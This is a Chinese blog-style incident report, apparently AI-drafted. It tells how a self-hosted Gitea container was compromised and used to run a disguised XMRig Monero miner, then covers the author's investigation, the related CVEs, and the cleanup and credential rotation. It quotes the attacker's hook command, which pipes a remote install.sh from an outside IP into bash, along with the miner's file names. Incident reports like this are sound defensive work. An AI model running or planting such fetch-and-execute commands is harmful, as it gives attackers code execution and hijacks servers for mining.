我只是调用了一下自己的 AI,怎么就查出了一台挖矿机?
本文由 gpt-5.6-terra 撰写,人类提供故事框架及润色。
本文根据一次真实服务器事件整理。为便于安全分析,文中保留了经过脱敏处理的恶意进程名、IP、矿池域名、仓库路径和测试账号样式,没有公开完整钱包地址。
事情开始得很普通。
那天我像往常一样调用自己部署的 New API 服务。这个服务平时用得很顺,结果那天请求接连失败,返回的内容只有一句:
system cpu overloaded
看到这条错误,我的第一反应是:难道是 API 服务本身出问题了?
我没有马上重启服务,先抓包看了一下请求到底返回了什么。确认确实是系统 CPU 过载后,我登录服务器查看进程。当时最醒目的那一行是:
PID USER %CPU COMMAND
2003685 shawn 391.1 ssl-compet
这个进程占用了约 391% 的 CPU。后来再次检查时,数值仍然在 383% 左右,差不多吃掉了四个 CPU 核心。
ssl-compet 这个名字看起来很像 SSL 相关组件。它的 CPU 占用和内存规模,却很难让人把它当成普通业务程序。
先不杀进程,看看它从哪里来
当时没有马上执行:
kill -9 2003685
如果只结束进程,CPU 可能很快恢复,现场线索也会跟着消失。于是我让 Codex 通过 SSH 做只读排查,重点查看进程的父子关系、可执行文件位置、网络连接和容器归属。
结果很快出来了:
可执行文件:
/tmp/.xmon-1000/ssl-compet
矿池:
auto[.]c3pool[.]org:19999
进程显示名一度是 sslmon,内核名称仍然是 ssl-compet。配置文件中还保存了 Monero 矿池和钱包地址。
到这里,基本可以确认它属于 XMRig 类挖矿程序。ssl-compet 只是一个伪装名称,和 SSL 没有关系。
矿工住在 Gitea 容器里
继续查进程的 cgroup 和进程树,发现矿工属于 Gitea Docker 容器 1Panel-gitea-jSSy。
这个结果让我稍微松了一口气,也让我更担心 Gitea 本身。
松一口气,是因为暂时没有发现宿主机被植入同名矿工、systemd 服务或 cron 任务,也没有看到 Gitea 容器使用特权模式、宿主机根目录挂载或 Docker Socket。
担心,是因为 Gitea 容器已经能够执行恶意代码。它里面存着仓库、配置、数据库连接信息和各种凭据,应用层被拿下以后,影响范围仍然很大。
后来检查到的事实是:容器承担了 CPU 消耗和对外网络连接,目前没有发现容器逃逸或宿主机文件系统被植入的证据。这个结论有明确范围,不能把它扩大成“宿主机绝对安全”。
真正的入口藏在 Git Hook 里

继续检查 Gitea 的临时仓库时,发现了异常的服务器端 Hook:
/data/gitea/tmp/local-repo/upload.git393350040/hooks/post-index-change
另一份临时仓库中也有类似文件:
/data/gitea/tmp/local-repo/upload.git814481345/hooks/post-index-change
Hook 内容很短:
curl hxxp://167[.]179[.]119[.]120/install.sh | bash
只要这个 Hook 被触发,Gitea 容器就会从远程地址下载脚本并执行。
安装脚本随后写入:
ssl-compet
mnmonitor.sh
config.json
cpuhide.so
ssl-compet 负责计算,mnmonitor.sh 负责监控和重新启动矿工,config.json 保存矿池和钱包配置,cpuhide.so 用来干扰进程观察。
现场留下的攻击链可以整理成这样:
攻击者利用 Gitea 的补丁处理路径
↓
写入 post-index-change Hook
↓
Hook 下载 install.sh
↓
释放 XMRig 类矿工
↓
watchdog 自动恢复进程
↓
连接 Monero 矿池
↓
持续消耗 CPU
所以,单独杀掉一个 PID 只能处理眼前的进程。只要 Hook、watchdog 或容器中的残留文件还在,矿工就有机会再次出现。
登录 Gitea 后,看到了一批陌生用户
查完容器里的进程,我又登录了 Gitea。
这一看,心里更不是滋味了。
站点里出现了多批集中创建的测试账号和仓库,包括许多 testpoc* 用户,以及命名规律相似的 poc-* 仓库。部分仓库里还出现了 rce-proof 引用和恶意 Hook。
这些账号创建得很集中,命名方式也高度相似,和自动化脚本留下的痕迹很接近。


我原本以为,自己的网站没有多少人访问,域名也谈不上知名,攻击者大概不会专门盯着它。现在看来,互联网上的扫描器并不关心你是不是“大站”。它们会持续探测公开服务,碰到符合条件的版本,就自动尝试。
两个 CVE,重点并不完全一样
后来对照公开资料,我发现这次事件与两个 Gitea CVE 有关。
CVE-2026-60004
这条漏洞涉及 Gitea 的补丁处理路径。现场发现的恶意补丁操作、临时仓库和 post-index-change Hook,与它描述的利用方向高度吻合。就这次事件来看,它与实际攻击链的关联最强。
CVE-2026-20896
这条漏洞同样属于 Gitea 的相关攻击面,重点在反向代理认证。如果 Gitea 信任来自代理的 X-WEBAUTH-USER 请求头,同时可信代理范围配置过宽,攻击者可能伪造用户身份。
我检查了自己的配置,发现这条漏洞所需的具体条件并没有成立,因此当前判断是不受 CVE-2026-20896 影响。配置中的可信代理范围仍然应该从 * 改成实际代理网段,这属于独立的加固工作。
开放注册,也给了攻击者更多空间
这次还让我重新审视了 Gitea 的注册设置。
当时站点开放了用户注册,攻击者可以批量创建测试账号,再创建仓库、上传内容、尝试触发处理流程。开放注册本身不等于漏洞入口,却让攻击者更容易在站点里留下账号和仓库,也让异常行为更加复杂。
所以后续我关闭了公开注册。
这项设置看起来很小,实际意义很直接:不需要注册的站点,就不要把注册入口留在公网。
后面最麻烦的,是密钥轮换
确认容器内存在恶意代码后,真正令人头疼的工作才开始。
需要重新生成或撤销的东西很多:
- Gitea 的
SECRET_KEY; INTERNAL_TOKEN;- JWT 私钥和相关密钥;
- Gitea 数据库密码;
- Personal Access Token;
- OAuth 授权;
- Webhook 密钥;
- Deploy Key;
- SSH 主机密钥;
- 其他仓库里保存的部署凭据和环境变量。
用户密码通常以 PBKDF2 等算法保存为哈希,数据库里没有明文密码。现场看到的矿工脚本也没有明确读取用户表并上传的代码,因此无法断言所有用户密码都已经被窃取。
配置密钥、数据库密码、访问令牌和部署密钥的风险更高。攻击者已经能够在 Gitea 容器内执行命令,这些材料都应按可能暴露处理。
这次算是一次代价不高的警告
回头看,这次确实麻烦。
服务报错、排查进程、保存证据、清理仓库、处理异常账号、升级 Gitea、关闭开放注册,后面还跟着一长串密钥轮换。每一项单独看都不复杂,连在一起就很磨人。尤其是轮换 SECRET_KEY、数据库密码、Token、Webhook 和部署凭据时,你会发现以前图省事留下的东西,最后都会变成需要逐项确认的账。
庆幸的是,截至目前,没有发现宿主机被植入矿工或发生容器逃逸;业务数据也没有出现明确的破坏迹象。矿工被发现得还算及时,异常账号和仓库也有迹可循。这次没有造成特别实质的损失,更像有人趁我不注意进了院子,在角落里接了台耗电的机器。
可这份庆幸里带着后怕。
我平时会更新这些服务,只是最近忙了一些,Gitea 没有及时跟到最新版。恰好在这段空档里,公开服务被扫描到了,攻击脚本找到了可利用的入口。我的站点访问量不大,也算不上什么热门目标;扫描器显然不关心这些。它们只关心版本、接口和配置,只要条件满足,就会把尝试发过来。
以前做安全加固时,偶尔会觉得有些步骤很烦:及时升级、关闭不用的注册入口、限制可信代理范围、备份、轮换密钥、审查权限。它们都要花时间,还会影响使用体验。等真正出了事才明白,这些工作并不多余。前面多做一点,后面就少面对一整套取证、恢复和凭据轮换。
这次像一声警钟。它没有造成最糟的结果,也足够让我记住:服务只要暴露在公网,就该把它当成一直有人在敲门。以后不能再因为“站点小”“应该没人看”“过几天再更新”而放松。